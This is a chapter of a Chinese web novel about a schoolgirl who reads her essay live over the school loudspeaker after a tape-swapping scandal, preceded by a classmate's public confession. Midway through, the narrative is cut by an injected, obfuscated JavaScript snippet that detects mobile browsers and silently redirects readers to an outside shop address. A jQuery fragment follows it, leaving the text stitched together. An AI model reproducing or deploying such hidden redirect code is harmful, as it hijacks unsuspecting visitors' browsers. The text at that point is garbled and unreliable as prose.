第二天早上，周念安到学校时，天还没完全亮。
厂区子弟中学的操场上蒙着一层淡淡的雾，旗杆孤零零立着，升旗绳被风吹得一下下撞在铁杆上。教学楼里只亮了几盏灯，远远看去，像一只还没睡醒的旧收音机。
广播室门口已经有人了。
梁潮生蹲在地上，嘴里咬着一截手电筒，手上拿着螺丝刀，正把广播室门边那块接线盒拆下来。
周念安停在楼梯口。
他今天难得来得早，浅蓝衬衫外头套了件旧夹克，头发还有点乱，像是从被窝里被人拽起来，又直接被扔到学校。
听见脚步声，他头也没抬。
“周同学，来这么早，不怕我偷你作文？”
周念安走过去，把书包放在门边。
“不怕。”
梁潮生终于抬头，眼里带了点笑：“这么信我？”
“你写不出我的字。”
他啧了一声：“你这信任真伤人。”
周念安没接话，低头看他拆开的线盒。
里面几股线缠在一起，颜色褪得差不多，像一团没人梳过的头发。梁潮生用手电照着，拧开一根，又接上一根，动作很熟。
她问：“能修好吗？”
“能。”梁潮生顿了顿，“但不保证不刺啦。”
“为什么？”
“因为这机器的年纪，比主任的脾气还老。”
周念安没忍住，嘴角动了一下。
梁潮生看见了，立刻伸手一指：“笑了。”
“没有。”
“你现在说没有，已经没以前有底气了。”
周念安把作文纸拿出来，拍在他旁边的窗台上。
“修你的广播。”
梁潮生低头继续拧线，笑意还挂在嘴角。
广播室里，吴雪晴站在话筒前，脸色白得像一张没晒干的纸。
她昨晚大概没睡好，眼底有青。白发卡仍旧别在头发上，只是没有往日那么齐整。看见周念安进来，她下意识把稿子往身后藏了一下，又很快拿出来。
“我写好了。”她说。
周念安接过来看。
稿子不长。
第一句是：关于昨天广播事故，我做错了事。
后面写得很规矩，承认自己去过周家，承认录下赵桂兰的话，承认因为嫉妒和不甘，把录音交给了孟小舟。
没有推脱，也没有卖惨。
只是到最后一句，她写了很久，纸面被钢笔划出浅浅一道印。
我不该拿别人的路，替自己的委屈出气。
周念安把稿子还给她。
“可以。”
吴雪晴像是松了一口气，又像更紧张了。
“全校都会听见。”
“嗯。”
“以后他们会怎么说我？”
周念安看着她：“你做之前，想过他们会怎么说我吗？”
吴雪晴脸一下红了。
她低下头，没再说话。
周念安也没有继续刺她。
有些话说到这里就够了。再多，就变成了把人踩在地上看。
门口传来脚步声。
孟小舟来了。
她穿着昨天那件旧白衬衫，头发扎得很低，手里抱着一只纸袋。教导主任跟在她后面，脸色仍旧不好看，但今天没有吼人。
纸袋里装着几张复印件。
历年推荐名单、放弃说明、团委记录，还有一张写得密密麻麻的时间表。孟小舟熬了一夜，把自己记得的事全写了下来。
周念安翻到最后一页。
上面有一行字：
我承认私自录制、剪辑并播放相关磁带，愿意承担责任。但我要求学校重新核查当年推荐材料。
她抬头看孟小舟。
孟小舟也看她。
“我不会说谢谢。”孟小舟说。
周念安点头：“我也不是为了听这个。”
梁潮生在门口接了一句：“你俩说话真省感情。”
教导主任瞪他：“你修好了没有？”
梁潮生把最后一根线拧上，盖好盒子，站起来拍了拍手。
“好了。”他说，“但是主任，我建议今天别放磁带。”
主任皱眉：“不放磁带怎么播？”
梁潮生走到广播桌前，拿起话筒，敲了两下。
咚，咚。
喇叭里立刻传出两声闷响。
整个校园都被这两下敲醒了。
他偏头一笑：“直播。”
教导主任脸色一变：“胡闹！直播出错怎么办？”
梁潮生说：“放磁带才容易被换。话筒在人手里，出错了还能当场改。”
主任想反驳，却发现竟然有道理。
李老师这时也进来了，手里拿着一只搪瓷杯，杯盖上还冒着热气。
“就直播吧。”她说，“让他们自己说。”
教导主任沉默片刻，终于点头。
七点二十。
广播室红灯亮起。
吴雪晴站在话筒前，手里的稿纸抖得厉害。
第一遍，她没能发出声音。
梁潮生靠在窗边，懒洋洋地说：“别怕，喇叭又不会咬人。”
吴雪晴瞪了他一眼。
周念安说：“看稿子，不要看外面。”
吴雪晴深吸一口气。
“老师们，同学们，早上好。”
她的声音从喇叭里传出去时，整个学校都静了一下。
昨天那场风波之后，大家一听见广播就竖起了耳朵。教室里，走廊上，操场边，甚至食堂门口，所有人都停了停。
吴雪晴继续念。
“关于昨天早晨的广播事故，我有几句话要说。”
她的声音一开始还在抖，念到中间，反而慢慢稳下来。
她没有把自己说成被胁迫的可怜人。
也没有把错误全推给孟小舟。
她说她嫉妒周念安，说她不甘心，说她明知道不该去周家套话，还是去了。
高三一班里，有人小声吸气。
二班那边更安静。
周念安站在广播室门边，听着吴雪晴把最后一句念完。
“我不该拿别人的路，替自己的委屈出气。”
吴雪晴念完，眼眶红了。
她把话筒让出来，退到一边。
这一次，没有人鼓掌，也没有人笑。
这种安静比起哄更难熬。
周念安走到话筒前。
她把原本那篇《我与新时代同行》放在桌上，又把昨晚重新写好的最后一段压在上面。
梁潮生站在接线盒旁边，手还扶着开关。
他忽然低声说：“紧张吗？”
周念安没有看他。
“紧张。”
“那你还上？”
“嗯。”
“为什么？”
她看着话筒前那枚小小的红灯。
“因为我的稿子，还没播完。”
梁潮生没再说话。
喇叭里先传来一阵很轻的电流声。
这一次，没有被换掉的磁带，没有陌生人的笑，没有谁躲在背后替她开口。
只有周念安自己的声音。
“老师们，同学们，早上好。我是高三一班周念安。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697651|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她顿了顿。
“昨天本该播送的作文，因为一盘被换掉的磁带中断了。今天，我想把它读完。”
她开始念。
前面的内容仍旧是那篇优秀作文。
新时代，工厂，街道，书桌，年轻人该如何走向更远的地方。
这些句子原本写得很工整，很安全，也很像老师会喜欢的范文。
可念到最后一段时，周念安停了下来。
操场上的学生也跟着抬头。
周建国和赵桂兰站在校门口。
周念梅请了半小时假，工装都没换，就站在围墙外。周念秋更夸张，穿着那条红裙子，抱着胳膊，像来给人撑场子的。
梁振山也来了。
他站得远，脸色很僵。梁潮平缩在他旁边，低着头，不敢看教学楼。
周念安翻到新写的那一页。
“昨天以后，我忽然觉得，作文里有些话写得太轻了。”
教导主任抬头看她。
李老师握着杯子的手紧了一点。
周念安继续念：
“如果新时代真的来了，它不该只在广播里响，也不该只写在表彰稿里。它应该让一个人填下自己名字的时候，不用害怕有人替她改掉；让一个人做错事的时候，自己承担，而不是由另一个人背着；让那些曾经没能说出口的话，有机会被重新听见。”
她的声音不大，却很清楚。
“我不知道以后会不会走得很远，也不知道自己选的路是不是一定正确。但我希望，至少在写下名字的这一刻，它是我自己写的。”
广播室里安静得只剩她的呼吸声。
她把稿子翻到最后。
“我的作文读完了。”
停顿片刻。
她又说：
“谢谢大家听完。”
红灯灭了。
广播结束。
整个学校静了足足几秒。
然后，不知道哪个班先有人拍了一下桌子。
紧接着，掌声从楼上响到楼下，从高三一班传到操场边。不是特别整齐，也不算多么响亮，却越来越多，像旧巷里许多窗户一扇一扇打开。
周念安站在话筒前，忽然不知道该把手放在哪里。
梁潮生靠在门边，看着她，眼底笑意很深。
“周同学。”他说，“你这作文，五毛钱点不到了。”
周念安把稿纸收好。
“那你可以分期。”
梁潮生愣了一下，随即笑出声。
教导主任看着这两个学生，嘴角抽了抽，到底没骂。
李老师低头抿了口茶，杯沿挡住了她微红的眼睛。
事情并没有立刻结束。
孟小舟被文化宫带回去谈话，吴雪晴要写检查，刘师傅被停职核查，周建国下午还得来学校补签说明。所有旧账都要慢慢理，没有哪件事能靠一场广播就全翻过去。
可至少这一天早晨，喇叭里没有再响起被剪碎的声音。
中午，周念安回教室时，课桌里多了一张折起来的纸。
她打开。
上面歪歪扭扭写着：
周同学，我妈明天生日。五毛钱能不能点一首歌？不要广播，录磁带也行。
后面还补了一行：
别告诉老师。
周念安看了很久，抬头望向后排。
梁潮生正趴在桌上补觉，书包边露出半截磁带盒。他像是察觉到她在看，懒洋洋抬起一只手，晃了晃。
周念安把那张纸重新折好，夹进练习册里。
窗外阳光正好。
旧喇叭安静挂在墙上，像终于学会了好好听人说话。